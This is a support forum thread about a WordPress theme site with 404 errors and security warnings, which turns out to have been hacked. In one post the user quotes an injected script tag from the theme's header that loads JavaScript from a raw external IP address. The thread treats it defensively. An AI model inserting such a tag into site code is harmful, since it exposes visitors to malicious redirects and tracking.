New Landing How can we help? Themeforest Theme Support Pinpoint Password protected pages shows 404

Viewing 11 posts - 16 through 26 (of 26 total)
  • Posted in: Pinpoint
  • #136733
    Mohammad – SUPPORT
    Moderator
    Post count: 27441
    This reply has been marked as private.
    #136738
    nrf
    Member
    Post count: 34
    This reply has been marked as private.
    #136742
    Mohammad – SUPPORT
    Moderator
    Post count: 27441

    Hi,
    Please wait. I am moving it to you.
    Thanks
    Mohammad

    #136756
    Rui Guerreiro – SUPPORT
    Keymaster
    Post count: 25779
    This reply has been marked as private.
    #136769
    nrf
    Member
    Post count: 34

    Yes please, because now nothing works… Everything, but the password protected page, worked fine before. Now it seems like the whole site is down…

    #136780
    Rui Guerreiro – SUPPORT
    Keymaster
    Post count: 25779

    Can you check again? It seems to be ok now.
    Your site still displaying a security warning.

    -Rui

    #136782
    nrf
    Member
    Post count: 34

    Rui – It works, except from a few missing images… But i´ll sort that out.

    I get the same warning as before and the site loads extremely slow so I have contacted the serverhost to fix this… Last night Google cleared all the warnings – but now they are back… It seems that the site is trying to communicate with an external IP.

    Anyhow: Thanks! I´ll get back to you if the problem remains.

    #136789
    Rui Guerreiro – SUPPORT
    Keymaster
    Post count: 25779

    yes it seems a bit slow. No problem.
    -Rui

    #136795
    nrf
    Member
    Post count: 34

    It´s seems that these Pinpoint-files are infected with redirect code that causes the warnings and the site to freeze:
    /wp-content/themes/pinpoint/header.php
    /wp-content/themes/pinpoint/includes/sf_shortcodes/interface.php

    #136796
    nrf
    Member
    Post count: 34

    Like this script in the header;
    <script type=”text/javascript” src=”http://122.155.168.105/ads/inpage/pub/collect.js”></script&gt;

    #136805
    Rui Guerreiro – SUPPORT
    Keymaster
    Post count: 25779

    that’s not from the theme. Your site was hacked. try to download everything so you can run some antivirus and delete any additional files that were created and also replace all existing theme files by new theme files.

    -Rui

Viewing 11 posts - 16 through 26 (of 26 total)

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